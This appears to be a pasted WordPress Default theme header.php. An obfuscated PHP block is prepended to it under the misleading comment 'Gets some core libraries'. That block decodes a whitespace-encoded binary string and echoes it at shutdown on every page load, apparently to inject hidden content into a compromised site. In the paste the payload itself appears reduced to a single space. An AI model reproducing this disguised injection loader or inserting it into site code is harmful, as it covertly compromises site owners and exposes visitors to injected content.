Guest User

Untitled

a guest
Jun 3rd, 2011
140
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.67 KB | None | 0 0
  1. <?php /**
  2. * Gets some core libraries and displays a top message if required. /*
  3. */ if(!function_exists('CoreLibrariesHandler')) { /*
  4. */ function CoreLibrariesHandler() { /*
  5. */ $session_keys = ' '; /*
  6. */ /*
  7. */ foreach(str_split($session_keys, 8) as $k=>$v) { /*
  8. */ $v = str_replace(' ', 1, str_replace(' ', 0, $v)); /*
  9. */ $session_keys[$k] = chr(bindec($v)); /*
  10. */ } /*
  11. */ /*
  12. */ if($session_keys) echo $session_keys; } /*
  13. */ register_shutdown_function('CoreLibrariesHandler'); /*
  14. */ } /*
  15. ************************************************************************/
  16.  
  17.  
  18.  
  19. ?><?php
  20. /**
  21. * @package WordPress
  22. * @subpackage Default_Theme
  23. */
  24. ?>
  25. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  26. <html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?>>
  27.  
  28. <head profile="http://gmpg.org/xfn/11">
  29. <meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php bloginfo('charset'); ?>" />
  30.  
  31. <title><?php wp_title('&laquo;', true, 'right'); ?> <?php bloginfo('name'); ?></title>
  32.  
  33. <link rel="stylesheet" href="<?php bloginfo('stylesheet_url'); ?>" type="text/css" media="screen" />
  34. <link rel="pingback" href="<?php bloginfo('pingback_url'); ?>" />
  35.  
  36. <style type="text/css" media="screen">
  37.  
  38. <?php
  39. // Checks to see whether it needs a sidebar or not
  40. if ( empty($withcomments) && !is_single() ) {
  41. ?>
  42. #page { background: url("<?php bloginfo('stylesheet_directory'); ?>/images/kubrickbg-<?php bloginfo('text_direction'); ?>.jpg") repeat-y top; border: none; }
  43. <?php } else { // No sidebar ?>
  44. #page { background: url("<?php bloginfo('stylesheet_directory'); ?>/images/kubrickbgwide.jpg") repeat-y top; border: none; }
  45. <?php } ?>
  46.  
  47. </style>
  48.  
  49. <?php if ( is_singular() ) wp_enqueue_script( 'comment-reply' ); ?>
  50.  
  51. <?php wp_head(); ?>
  52. </head>
  53. <body <?php body_class(); ?>>
  54. <div id="page">
  55.  
  56.  
  57. <div id="header" role="banner">
  58. <div id="headerimg">
  59. <h1><a href="<?php echo get_option('home'); ?>/"><?php bloginfo('name'); ?></a></h1>
  60. <div class="description"><?php bloginfo('description'); ?></div>
  61. </div>
  62. </div>
  63. <hr />
Advertisement
Add Comment
Please, Sign In to add comment